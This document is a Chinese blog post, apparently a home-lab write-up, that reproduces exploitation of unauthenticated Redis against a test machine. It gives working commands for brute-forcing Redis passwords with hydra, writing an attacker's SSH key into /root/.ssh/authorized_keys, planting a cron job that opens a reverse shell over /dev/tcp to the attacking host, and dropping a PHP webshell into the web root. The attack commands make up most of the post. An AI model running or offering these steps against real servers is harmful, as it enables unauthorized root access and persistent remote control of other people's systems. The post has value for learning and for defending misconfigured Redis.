前言

很早的洞了一直没仔细研究下(主要是看了几天审计太难受了)。

Redis

Redis是一个开源的高性能内存数据库也支持将内存数据保存在硬盘上,但是redis未强制访问权限,默认情况下会绑定在6379端口,没有进行采用相关策略与防火墙直接暴露在公网,没有设置密码认证可以免密登录服务造成未授权访问。

漏洞复现

攻击机ip: 192.168.184.145

靶机ip:192.168.184.139

这里也是有几种利用方式

ssh写公钥

root权限的话我们就可以肆意妄为了,可以直接利用上传公钥ss免密登录。

首先我们先连接到redis,做最基本的一些信息收集,可以看到低版本还会暴露配置文件目录


当然如果有密码的话我们先尝试爆破

hydra -P passwd.txt redis://192.168.184.139

然后我们更改redis备份路径到ssh公钥存放路径 /root/.ssh

本地生成公私钥将公钥写入test.txt

ssh-keygen -t rsa
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt

上传到靶机服务器

cat test.txt | redis-cli -h 192.168.184.139 -x set crack

然后把redis备份路径更改为ssh公钥目录,重命名为authorized_keys

config set dir /root/.ssh
config set dbfilename authorized_keys

可以看到我们的公钥已经传上去了

连接成功

反弹shell

set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.194.145/444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

写webshell

我们可以把写文件的目录改为web根路径,写入我们的webshell

config set dir /var/www/html
set xxx "\n\n\n<?php phpinfo();?>\n\n\n"
config set dbfilename webshell.php
save

总结

复现也是踩了很多坑,我先是用的ununtuserver、centos去复现都会有权限问题,直接用root sudo启动默认也是redis权限,而且关掉redis保护线程后 kill -9 也kill不掉。还有就是用ubuntu复现还会有shell环境问题 https://cloud.tencent.com/developer/news/301606,还有就是写入的时候会有缓存,在set各种值的时候,这些值会混在一起导致攻击失效,比如我先尝试写公钥最后连接失败,再去进行反弹shell/写webshell,这个时候你set的木马或者反弹语句会与你写入的公钥混在一起,执行无效。